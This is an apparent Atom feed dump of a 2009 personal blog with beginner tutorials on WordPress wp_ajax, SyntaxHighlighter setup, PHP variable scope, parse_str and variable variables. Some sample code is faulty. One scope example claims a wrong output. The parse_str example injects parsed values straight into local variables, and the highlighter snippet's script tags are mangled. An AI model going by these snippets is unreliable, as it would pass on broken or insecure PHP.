href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skoypvhs2KI/AAAAAAAAAG0/_bKoCC_WrOw/s1600-h/step7.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skoypvhs2KI/AAAAAAAAAG0/_bKoCC_WrOw/s320/step7.jpg" alt="" id="BLOGGER_PHOTO_ID_5353146799797098658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can change virtual harddisk name and location by click on browse button. In the virtual harddisk size input box, you can decide your virtual harddisk size in MB. After that, click next.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkoyzImglFI/AAAAAAAAAG8/Heo_KautyVo/s1600-h/step8.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://1.bp.blogspot.com/_Z7Dw9YXAAV8/SkoyzImglFI/AAAAAAAAAG8/Heo_KautyVo/s320/step8.jpg" alt="" id="BLOGGER_PHOTO_ID_5353146961146975314" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You are almost done!. click finish.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skoy8Tn1aZI/AAAAAAAAAHE/1tXzmHWnjJc/s1600-h/step9.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 250px;" src="http://3.bp.blogspot.com/_Z7Dw9YXAAV8/Skoy8Tn1aZI/AAAAAAAAAHE/1tXzmHWnjJc/s320/step9.jpg" alt="" id="BLOGGER_PHOTO_ID_5353147118724147602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Next... How to install Ubuntu in Virtual PC 2007.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-7099210711768408033?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/7099210711768408033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/can-i-install-multiple-os-in-one.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7099210711768408033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7099210711768408033'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/can-i-install-multiple-os-in-one.html' title='Can I install multiple OS in one computer without reboot?'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkotxQ00kkI/AAAAAAAAAGE/KQU-uL5lY88/s72-c/step1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-4764931393749098482</id><published>2009-06-29T07:25:00.005+08:00</published><updated>2009-07-01T09:02:16.762+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wordpress'/><category scheme='http://www.blogger.com/atom/ns#' term='ajax'/><title type='text'>how to use wp_ajax in wordpress</title><content type='html'>last weekend I try to implement ajax in wordpress plugin. The problem is, there is no reference that I can get from wordpress wiki as well as their documentation to show the detail of how to use wp_ajax in wordpress.&lt;br /&gt;&lt;br /&gt;How ever, here is the solution that i get how to use wp_ajax in wordpress.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1.&lt;/span&gt;&lt;br /&gt;You need to create callback function to handle ajax ( wp_ajax )  request.&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;function my_ajax_update(){&lt;br /&gt; if (isset($_POST['c'])){&lt;br /&gt;     //you can do what ever here&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2.&lt;/span&gt;&lt;br /&gt;create add_action using wp_ajax hook.&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;add_action("wp_ajax_your_action_name", "my_ajax_update");&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;your_action_name is action name that you'll submit using ajax post or get in &lt;span style="font-weight: bold;"&gt;Step 3&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3.&lt;/span&gt;&lt;br /&gt;on jQuery post..&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;url_action = \'' . get_bloginfo('wpurl') . '/wp-admin/admin-ajax.php\';&lt;br /&gt;jQuery.post( url_action ,  { action:"your_action_name",c:"True" } ,function(data){ &lt;br /&gt;//your return result             &lt;br /&gt;                });&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;continue... next post I will show you the full plugin code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-4764931393749098482?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/4764931393749098482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/how-to-use-wpajax-in-wordpress.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/4764931393749098482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/4764931393749098482'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/how-to-use-wpajax-in-wordpress.html' title='how to use wp_ajax in wordpress'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-1675598680470854976</id><published>2009-06-26T23:20:00.003+08:00</published><updated>2009-06-26T23:29:42.552+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life style'/><category scheme='http://www.blogger.com/atom/ns#' term='general'/><title type='text'>so exhausted today</title><content type='html'>I feel so exhausted today. Yesterday my motorcycle breakdown and need to overhaul.I leave my motorcycle at the workshop near MRR2 at Jalan Kuari. I plan to get my motorcycle today but canceled. Maybe I go there tomorrow.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-1675598680470854976?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/1675598680470854976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/so-exhausted-today.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/1675598680470854976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/1675598680470854976'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/so-exhausted-today.html' title='so exhausted today'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-7142213574308759781</id><published>2009-06-25T19:12:00.012+08:00</published><updated>2009-06-30T06:52:59.556+08:00</updated><title type='text'>how to use syntax highlighter in blogspot</title><content type='html'>Last night I was searching &lt;span style="color: rgb(255, 0, 0);"&gt;syntax highlighter&lt;/span&gt; to make my sample code look nice and easy to read. I was googling using "&lt;a href="http://www.google.com.my/search?hl=en&amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:en-US:official&amp;amp;hs=KIn&amp;amp;ei=NFxDSv7PLdKIkQWigZWcDw&amp;amp;sa=X&amp;amp;oi=spell&amp;amp;resnum=0&amp;amp;ct=result&amp;amp;cd=1&amp;amp;q=blogspot+syntax+highlighter&amp;amp;spell=1"&gt;blogspot syntax highlighter&lt;/a&gt;" keyword and found this &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter"&gt;website&lt;/a&gt;. This library was developed by Alex Gorbatchev and look nice for me. It's fully developed in Javascript which is compatible with all web scripting language.&lt;br /&gt;&lt;br /&gt;I had an experience using  &lt;a href="http://qbnz.com/highlighter/"&gt;Geshi &lt;/a&gt;before found &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter"&gt;SyntaxHighlighter&lt;/a&gt; library. &lt;a href="http://qbnz.com/highlighter/"&gt;Geshi  &lt;/a&gt;is another excellent library for syntax highlighter. It's also have more supported language compared with &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter"&gt;SyntaxHighlighter&lt;/a&gt;. Why i didn't use Geshi?. actually there is no good reason.. just want to try &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter"&gt;SyntaxHighlighter&lt;/a&gt; and share with you all ;)&lt;br /&gt;&lt;br /&gt;Alex also provide hosted library for user who are using hosted service like a blogger. His kindness make me easy to use his library.&lt;br /&gt;&lt;br /&gt;hosted file located in &lt;span style="font-weight: bold;"&gt;http://alexgorbatchev.com/pub/sh/[VERSION]&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;by the way, here is the step how to use his library&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1.&lt;/span&gt;&lt;br /&gt;copy below code and paste it in your template file &lt;span style="color: rgb(255, 0, 0);"&gt;before &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;link href="http://alexgorbatchev.com/pub/sh/current/styles/shCore.css" rel="stylesheet" type="text/css"&amp;gt;&lt;br /&gt;&amp;lt;link href="http://alexgorbatchev.com/pub/sh/current/styles/shThemeRDark.css" rel="stylesheet" type="text/css"&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript" src="http://alexgorbatchev.com/pub/sh/current/scripts/shCore.js"&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;script language="'javascript'" src="'http://alexgorbatchev.com/pub/sh/current/scripts/shBrushPhp.js'/"&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;shBrushPhp.js&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;shThemeRDark.css&lt;/span&gt; is optional depending on what language and theme that you want to use in syntax highlighter. For more detail you may take a look at &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter:Brushes"&gt;bundled syntaxes&lt;/a&gt; and &lt;a href="http://alexgorbatchev.com/wiki/SyntaxHighlighter:Themes"&gt;bundled theme&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;br /&gt;Copy below code and paste it &lt;span style="color: rgb(255, 0, 0);"&gt;before &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;script type='text/javascript'&amp;gt;&lt;br /&gt;//&amp;lt;![CDATA[&lt;br /&gt;function FindTagsByName(container, className, tagName)&lt;br /&gt;{&lt;br /&gt;var elements = document.getElementsByTagName(tagName);&lt;br /&gt;for (var i = 0; i &amp;lt; elements.length; i++)&lt;br /&gt;{&lt;br /&gt;   var tagClassName = elements[i].className;&lt;br /&gt;   if (tagClassName != null &amp;amp;&amp;amp; tagClassName.search(className) == 0)&lt;br /&gt;   {&lt;br /&gt;      container.push(elements[i]);&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var elements = [];&lt;br /&gt;FindTagsByName(elements, "brush:", "pre");&lt;br /&gt;FindTagsByName(elements, "brush:", "textarea");&lt;br /&gt;&lt;br /&gt;for(var i=0; i &amp;lt; elements.length; i++)&lt;br /&gt;{&lt;br /&gt;if(elements[i].nodeName.toUpperCase() == "TEXTAREA") {&lt;br /&gt;   var childNode = elements[i].childNodes[0];&lt;br /&gt;   var newNode = document.createTextNode(childNode.nodeValue.replace(/&amp;lt;br\s*\/?&amp;gt;/gi,'\n'));&lt;br /&gt;   elements[i].replaceChild(newNode, childNode);&lt;br /&gt;}&lt;br /&gt;else if(elements[i].nodeName.toUpperCase() == "PRE") {&lt;br /&gt;   brs = elements[i].getElementsByTagName("br");&lt;br /&gt;   for(var j = 0, brLength = brs.length; j &amp;lt; brLength; j++)&lt;br /&gt;   {&lt;br /&gt;       var newNode = document.createTextNode("\n");&lt;br /&gt;       elements[i].replaceChild(newNode, brs[0]);&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;SyntaxHighlighter.all();&lt;br /&gt;//]]&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;wacha..... done&lt;br /&gt;&lt;br /&gt;how to use it?.. type in your html editor&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;pre class="brush: php"&amp;gt;&lt;br /&gt;&lt;br /&gt;//your php code here&lt;br /&gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;pre class="brush: delphi"&amp;gt;&lt;br /&gt;&lt;br /&gt;//your delphi code here&lt;br /&gt;&lt;br /&gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-7142213574308759781?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/7142213574308759781/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/how-to-use-syntax-highlighter-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7142213574308759781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/7142213574308759781'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/how-to-use-syntax-highlighter-in.html' title='how to use syntax highlighter in blogspot'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-6689758641255024164</id><published>2009-06-24T23:54:00.017+08:00</published><updated>2009-06-25T21:36:41.777+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='variable'/><category scheme='http://www.blogger.com/atom/ns#' term='solution'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>php global variable</title><content type='html'>Last week I got an email from someone need my help to solve her problem. She asking me why there is no result when she do echo inside function.&lt;br /&gt;&lt;br /&gt;this is an example code to illustrate her problem.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$lang = 'bahasa melayu';&lt;br /&gt;function test(){&lt;br /&gt;   echo $lang;&lt;br /&gt;}&lt;br /&gt;test();&lt;br /&gt;&lt;/pre&gt;actually the problem is in variable declaration. The first &lt;span style="font-weight: bold;"&gt;$lang&lt;/span&gt; variable is a global scope variable while second &lt;span style="font-weight: bold;"&gt;$lang&lt;/span&gt; variable reference to local scope variable.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$lang = 'bahasa melayu'; //global scope variable&lt;br /&gt;function test(){&lt;br /&gt;   echo $lang; //local scope variable&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;test(); //return ''&lt;br /&gt;&lt;/pre&gt;To solve this problem you need to declare local scope &lt;a href="http://my.php.net/manual/en/language.variables.scope.php"&gt;variable as global&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$lang = 'bahasa melayu'; //global scope variable&lt;br /&gt;function test(){&lt;br /&gt;   GLOBAL $lang;  //declare $lang as a global variable&lt;br /&gt;   echo $lang; //reference to global scope variable&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;test(); //return 'bahasa melayu'&lt;/pre&gt;others solution, you may sent variable into function parameter as an example below&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$lang = 'bahasa melayu'; //global scope variable&lt;br /&gt;function test($param){&lt;br /&gt;   echo $param;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;test(); //return 'bahasa melayu'&lt;/pre&gt;Happy coding ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-6689758641255024164?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/6689758641255024164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/php-global-variable.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6689758641255024164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/6689758641255024164'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/php-global-variable.html' title='php global variable'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-3734228924197101695</id><published>2009-06-24T08:32:00.001+08:00</published><updated>2009-06-24T08:41:14.114+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='english learning'/><title type='text'>hear back from</title><content type='html'>Opps .. this is not about a geek world, but It's about a language. ;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;hear back from&lt;/span&gt; someone&lt;br /&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;&lt;span style="font-weight: bold;"&gt;receive a reply from&lt;/span&gt; someone&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Normally I'm using "reply from" but from the book I read there are using &lt;span style="font-weight: bold;"&gt;hear back from.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;An example&lt;br /&gt;1. "I emailed Mat Nur yesterday. I hope to &lt;span style="font-weight: bold;"&gt;hear back from&lt;/span&gt; him soon"&lt;br /&gt;2. "A: Did you get the job?&lt;br /&gt;   B: No. I had an interview but I never&lt;span style="font-weight: bold;"&gt; heard back from&lt;/span&gt; the company"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-3734228924197101695?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/3734228924197101695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/hear-back-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/3734228924197101695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/3734228924197101695'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/hear-back-from.html' title='hear back from'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-2439205067786201475</id><published>2009-06-24T00:11:00.006+08:00</published><updated>2009-06-25T19:10:37.794+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='variable'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>php parse string as variable</title><content type='html'>Yesterday I blog about &lt;a href="http://geekpreneur.blogspot.com/2009/06/php-variable-variables.html"&gt;variable variables&lt;/a&gt; . By adding double sign dollar $$ we can make a string as a variable.What going to happen if I have set of variable in one string?. I got this problem when I'm using &lt;a href="http://code.google.com/p/nestedsortables/wiki/NestedSortableDocumentation"&gt;jQuery nested sortable plugin&lt;/a&gt; in my daily coding. yeah, nestedsortable plugin have a serialize function to get all element. I can use jQuery post or get to send this paremeter to process using ajax but I don't want to do that because I need to do other entry first before sending all variables at one time.&lt;br /&gt;&lt;br /&gt;my problem is, the serialize hash format is like this&lt;br /&gt;&lt;pre class="brush: php"&gt;$str = "list_container[0][id]=1&amp;amp;list_container[1][id]=2&lt;br /&gt;&amp;amp;list_container[1][children][0][id]=3&lt;br /&gt;&amp;amp;list_container[1][children][0][children][0][id]=4&lt;br /&gt;&amp;amp;list_container[1][children][0][children][1][id]=5";&lt;/pre&gt;at first I'm thinking to use &lt;a href="http://www.php.net/explode"&gt;explode function&lt;/a&gt; to split a string by using ampersand '&amp;amp;' and = as a delimiter and &lt;a href="http://geekpreneur.blogspot.com/2009/06/php-variable-variables.html"&gt;variable variables&lt;/a&gt; to get a variable but I think it's not so effective. Then I ask uncle google what others people do to solve this problem.Yeah, I like google... one of the search result is by using &lt;a href="http://www.google.com.my/search?q=parse_str&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;&lt;span style="font-weight: bold;"&gt;parse_str.&lt;/span&gt;&lt;/a&gt; It's so easy and this is what I want.&lt;br /&gt;&lt;br /&gt;How to use parse_str?.&lt;br /&gt;&lt;pre class="brush: php"&gt;$str = "list_container[0][id]=1&amp;amp;list_container[1][id]=2&lt;br /&gt;&amp;amp;list_container[1][children][0][id]=3&lt;br /&gt;&amp;amp;list_container[1][children][0][children][0][id]=4&lt;br /&gt;&amp;amp;list_container[1][children][0][children][1][id]=5";&lt;br /&gt;parse_str($str);&lt;br /&gt;&lt;br /&gt;//Now parse_str function will return string value as an array set.&lt;br /&gt;//I can get the value by using $list_container as a variable&lt;br /&gt;var_dump($list_container);&lt;br /&gt;&lt;/pre&gt;You can download sample file :&lt;a href="http://rapidshare.com/files/247928399/geekpreneur.blogspot.com_parse_str090624.rar"&gt;How to use parse_str in form post&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-2439205067786201475?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/2439205067786201475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/php-parse-string-as-variable.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/2439205067786201475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/2439205067786201475'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/php-parse-string-as-variable.html' title='php parse string as variable'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-4553628262011487213</id><published>2009-06-23T23:33:00.001+08:00</published><updated>2009-06-25T19:06:55.074+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dynamic variable'/><category scheme='http://www.blogger.com/atom/ns#' term='variable variables'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>php variable variables</title><content type='html'>I'm sure, some time we need to create variable dynamically. the normal variable declaration in PHP is starting with dollar signs $ .&lt;br /&gt;an example&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$fruit = 'banana';&lt;br /&gt;&lt;/pre&gt;$fruit is a variable when 'banana' is a string value for that variable. when we do echo $fruit, the result is 'banana'.&lt;br /&gt;an example&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$fruit = 'banana';&lt;br /&gt;echo $fruit;&lt;br /&gt;//result : banana&lt;br /&gt;&lt;/pre&gt;This is a static variable. How about when I want to create new variable in a run time?. You can do it by adding double dollar sign&lt;br /&gt;an example&lt;br /&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;$fruit = 'banana';&lt;br /&gt;$$fruit = 'durian';&lt;br /&gt;echo $banana;&lt;br /&gt;//result : durian&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You can download sample file : &lt;a href="http://rapidshare.com/files/247783915/geekpreneur.blogspot.com_variable090623.rar"&gt;How to use variable variables in php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://us2.php.net/manual/en/language.variables.variable.php"&gt;more information&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-4553628262011487213?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/4553628262011487213/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/php-variable-variables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/4553628262011487213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/4553628262011487213'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/php-variable-variables.html' title='php variable variables'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7129096825984051743.post-1684860840238141753</id><published>2009-06-23T23:16:00.000+08:00</published><updated>2009-06-23T23:32:33.736+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='intro general'/><title type='text'>Shhhhh don't tel anybody</title><content type='html'>hahaha... finally I decided to start blogging again. mmmp. actually this spirit comes after I attended &lt;a href="http://www.globalinternetseminar.com/"&gt;global internet seminar&lt;/a&gt; last weekend. The seminar is 3 days seminar starting from Friday 19 to Sunday. Actually my bos register me and my colleague to attend that seminar.all about the seminar, you can go to&lt;a href="http://jobberies.com/gosee-design/internet-marketing-seminar-day-1/"&gt; my colleague web.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;by the way.. I write this blog not to promote internet marketing and making money online.. but more on sharing my knowledge and finding beside to improve my writing skill and my English.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7129096825984051743-1684860840238141753?l=geekpreneur.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://geekpreneur.blogspot.com/feeds/1684860840238141753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/shhhhh-dont-tel-anybody.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/1684860840238141753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7129096825984051743/posts/default/1684860840238141753'/><link rel='alternate' type='text/html' href='http://geekpreneur.blogspot.com/2009/06/shhhhh-dont-tel-anybody.html' title='Shhhhh don&apos;t tel anybody'/><author><name>ibnuyahya</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='26' src='http://2.bp.blogspot.com/_Z7Dw9YXAAV8/SkqemPOhLFI/AAAAAAAAAHQ/FQ_aX2SIW8E/S220/cat.jpg'/></author><thr:total>2</thr:total></entry></feed>
